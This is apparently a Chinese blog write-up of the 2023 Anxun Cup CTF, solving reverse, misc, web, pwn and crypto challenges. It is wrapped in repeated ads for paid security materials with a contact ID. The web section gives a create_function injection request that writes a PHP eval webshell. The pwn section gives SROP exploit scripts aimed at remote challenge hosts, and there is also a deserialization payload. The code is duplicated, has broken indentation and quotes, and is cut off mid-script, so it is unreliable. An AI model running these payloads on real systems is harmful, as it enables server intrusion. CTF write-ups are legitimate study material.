2023第六届安洵杯wp

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

def decrypt(v, k):
    v0, v1 = map(c_uint32, v)
    delta = 2654435769
    sum1 = c_uint32(delta * 32)
    for _ in range(32):
        v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum1.value) ^ ((v0.value >> 5) + k[3])
        v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum1.value) ^ ((v1.value >> 5) + k[1])
        sum1.value -= delta
    decrypted_values = [chr((v0.value >> 8 * i) & 0xff) for i in range(4)] + [chr((v1.value >> 8 * i) & 0xff) for i in range(4)]
    return ‘’.join(decrypted_values)

from ctypes import c_uint32

def decrypt(v, k):
    v0, v1 = map(c_uint32, v)
    delta = 2654435769
    sum1 = c_uint32(delta * 32)
    for _ in range(32):
        v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum1.value) ^ ((v0.value >> 5) + k[3])
        v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum1.value) ^ ((v1.value >> 5) + k[1])
        sum1.value -= delta
    decrypted_values = [chr((v0.value >> 8 * i) & 0xff) for i in range(4)] + [chr((v1.value >> 8 * i) & 0xff) for i in range(4)]
    return ‘’.join(decrypted_values)


flag{it\_is\_been\_a\_long\_day\_without\_you\_my\_friend}


### Misc


#### dacongのsecret


一键提取盲水印


![](https://img-blog.csdnimg.cn/direct/987715f46d2d40a98a497eac93ba4d15.png)


![](https://img-blog.csdnimg.cn/direct/86ea49d0838945f28514448d5794d5c2.png)


盲水印得到第一层密码:d@C0ng 1s cUt3!!


![](https://img-blog.csdnimg.cn/direct/8272d6e9d037403d82ca8eb13cccf647.png)


尝试提取图片1的第20个片段,加上png的文件头,就是形成第二个压缩包


爆破宽高,得到第二层压缩包密码: wH1T3\_r0cckEt\_sh00ter


![](https://img-blog.csdnimg.cn/direct/c7fb20cce25f4c73919a7a5329cd9061.png)


![](https://img-blog.csdnimg.cn/direct/32cb130e576e45f897eb78e7f2ba8a55.png)


然后我们去还原


base64隐写:


![](https://img-blog.csdnimg.cn/direct/b57e4e428515434396ed357a1763f52c.png)


密码是m1ku\_1s\_sha\_fufu123


然后解密,得到flag


![](https://img-blog.csdnimg.cn/direct/f9fa5be828a84801a92fd9221fa2ee64.png)



> 
> flag{d@C0ng\_1s\_r3@lIy\_Re@iLY\_Cute}
> 
> 
> 


####  Nahida


![](https://img-blog.csdnimg.cn/direct/6bec2d29ec274b80b614b4af05e3d8a6.png)


观察到文件尾倒序为FFD8是图片文件头


![](https://img-blog.csdnimg.cn/direct/0e4176e453724af68adc8bb099628639.png)


倒序保存为jpg


![](https://img-blog.csdnimg.cn/direct/cbb97f0a8e474e6b94138d2df06d0f6b.png)


Silenteye解密,密钥为Nahida


#### 签到处


(居然签到拿了一血!!)


#### 


#### dacongのWindows


sstv


![](https://img-blog.csdnimg.cn/direct/1e81339a2f8e49969dd3351d3546846e.png)



> 
>  flag{Ar3\_Th3Y
> 
> 
> 


![](https://img-blog.csdnimg.cn/direct/9b543fb7c0f34830b68fc15d72899238.png)


这个压缩包


\_tHE\_Dddd


找到这两段


U2FsdGVkX18M+E34cKJlmTU3uo1lHqjUQhKPTBGJiMjg4RWX6saTjOJmLU86538e


d@@Coong\_LiiKEE\_F0r3NsIc 


![](https://img-blog.csdnimg.cn/direct/b4113cf3b2e744848c7e60e8b9c478af.png)


 这两个解aes是flag3


![](https://img-blog.csdnimg.cn/direct/599eac3b0227482b96accbbc968885ff.png)


 dAc0Ng\_SIst3Rs????}  


 flag{Ar3\_Th3Y\_tHE\_DddddAc0Ng\_SIst3Rs????}  


### Web


#### what's my name


正则的意思是dog3的字符长度要是5的倍速。然后那个createfuntion是生成一个匿名表达式,最后两位数是随机生成的。然后我们构造闭合出一个写shell的payload后,计算字符长度72。然后我们再让name为%00lambda\_72。然后一直发包就行了。直到miao是等于72.



> 
> GET/?d0g3=%22]);}file\_put\_contents(%22shell.php%22,%22%3C?php%20eval(\$\_POST[1]);%22);/\*ainclude&name=%00lambda\_72 HTTP/1.1
> 
> 
> Host:
> 
> 
> Upgrade-Insecure-Requests: 1
> 
> 
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
> 
> 
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7
> 
> 
> Accept-Encoding: gzip, deflate
> 
> 
> Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8
> 
> 
> Cookie: PHPSESSID=41qmrn9m1n43irdo6jedoscmc5; XDEBUG\_SESSION=XDEBUG\_ECLIPSE
> 
> 
> Connection: close
> 
> 
> 


![](https://img-blog.csdnimg.cn/direct/2fa4c8b0f5884806af9234b2f4f9909f.png)


![](https://img-blog.csdnimg.cn/direct/e1bac31ec99b43e6b3137dbff2c2ade3.png)


访问shell.php。蚁剑链接。发现一个admin.php。源码是让本地去访问。直接curl一下就行了



> 
> flag{9da979ca-a165-11ee-844d-00163e0447d0}
> 
> 
> 


#### easy\_unserialize



<?php class Luck{ public $l1; public $md5; } class You{ public $y1; public function __construct(){ $this->y1 = new Luck; } } class Flag{ public $SplFileObject; } $a = new You; $a->y1->md5 = new Luck; $a->y1->md5->l1 = new Flag; $a->y1->md5->l1->SplFileObject="/FfffLlllLaAaaggGgGg"; echo urlencode(serialize($a)); ?>


> 
> flag{ebe32ada-a176-11ee-9aeb-00163e0447d0}
> 
> 
> 


### Pwn


#### side\_channel,initia...


直接放exp了,自行理解即可



from pwn import *

初始化远程连接

p = remote(‘124.71.177.14’, 10001)

清除架构信息,设置为amd64

context.clear(arch=‘amd64’)

加载目标ELF文件

elf = ELF(‘./chall’)

一些可能的字符和地址

possible_list = “-0123456789abcdefghijklmnopqrstuvwxyz{}”
syscall_got = elf.got[‘syscall’]
syscall_plt = elf.plt[‘syscall’]
bss = 0x404060
leave_ret = 0x000000000040136c
mov_rax_15_ret = 0x0000000000401193
syscall_ret = 0x000000000040118a
frame_write = SigreturnFrame()
frame_write.rdi = 10
frame_write.rsi = bss >> 12 << 12
frame_write.rdx = 0x1000
frame_write.rcx = 7
frame_write.rsp = bss + 0x110
frame_write.rip = syscall_plt
frame_read = SigreturnFrame()
frame_read.rdi = 0
frame_read.rsi = 0
frame_read.rdx = bss + 0x300
frame_read.rcx = 0x100
frame_read.rsp = bss + 0x300
frame_read.rip = syscall_plt

def pwn(pos, char):
# 先发送"easyhack"字符串,然后等待接收回应
p.sendline(b’easyhack’)
p.recvuntil(b’easyhack’) # 这行代码似乎是多余的,因为我们已经发送了"easyhack"字符串。
# 构造payload进行写入操作
payload = b’flag’.ljust(8, b’\x00’)
payload += p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame_write)
payload = payload.ljust(0x100, b’\x00’)
payload += p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame_read)
p.send(payload)


#### Seccomp



import time
from pwn import *

context.clear(arch=‘amd64’)

elf = ELF(‘./chall’)

p = process(‘./chall’)

p = remote(‘47.108.206.43’, 36983)

syscall_got = elf.got[‘syscall’]
syscall_plt = elf.plt[‘syscall’]

bss = 0x404060
leave_ret = 0x40136c
mov_rax_15_ret = 0x401193
syscall_ret = 0x40118a

open_frame = SigreturnFrame()
open_frame.rdi = 2
open_frame.rsi = bss
open_frame.rdx = 0
open_frame.rsp = bss + 0x110
open_frame.rip = syscall_plt

read_frame = SigreturnFrame()
read_frame.rdi = 0
read_frame.rsi = 3
read_frame.rdx = bss + 0x500
read_frame.rcx = 0x200
read_frame.rsp = bss + 0x218
read_frame.rip = syscall_plt

write_frame = SigreturnFrame()
write_frame.rdi = 1
write_frame.rsi = 1
write_frame.rdx = bss + 0x500
write_frame.rcx = 0x40
write_frame.rsp = bss + 0x320
write_frame.rip = syscall_plt

p.recvuntil(b’easyhack’)
payload = b’flag’.ljust(8, b’\x00’) + p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(open_frame) + p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(read_frame) + p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(write_frame)
p.send(payload)

p.recvuntil(b’what is SUID’)
payload = b’a’ * (0x32 - 0x8) + p64(bss) + p32(leave_ret)
p.send(payload)

p.interactive()


### Crypto


#### 010101



from pwn import *
from string import *
from hashlib import *
from Crypto.Util.number import *
import random

table = digits + ascii_letters
context.log_level = ‘debug’
r = remote(‘124.71.177.14’, int(10001))

def proof(mm, cc):
for a in table:
for b in table:
for c in table:
for d in table:
if sha256((a + b + c + d + mm).encode()).hexdigest() == cc:
return (a + b + c + d).encode()

tmp = r.recvline()[:-1].decode()
mm = tmp[14:30]
cc = tmp[32:]
ans = proof(mm, cc)
print(ans)
r.sendlineafter(b’Give Me XXXX:‘, ans)
r.sendlineafter(b’Press 1 to get ciphertext\n’, b’1’)
n = int(r.recvline()[:-1])
p = r.recvline()[:-1].decode()

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话,可以联系领取~

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
① 工具

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的最下面获取

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 20
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值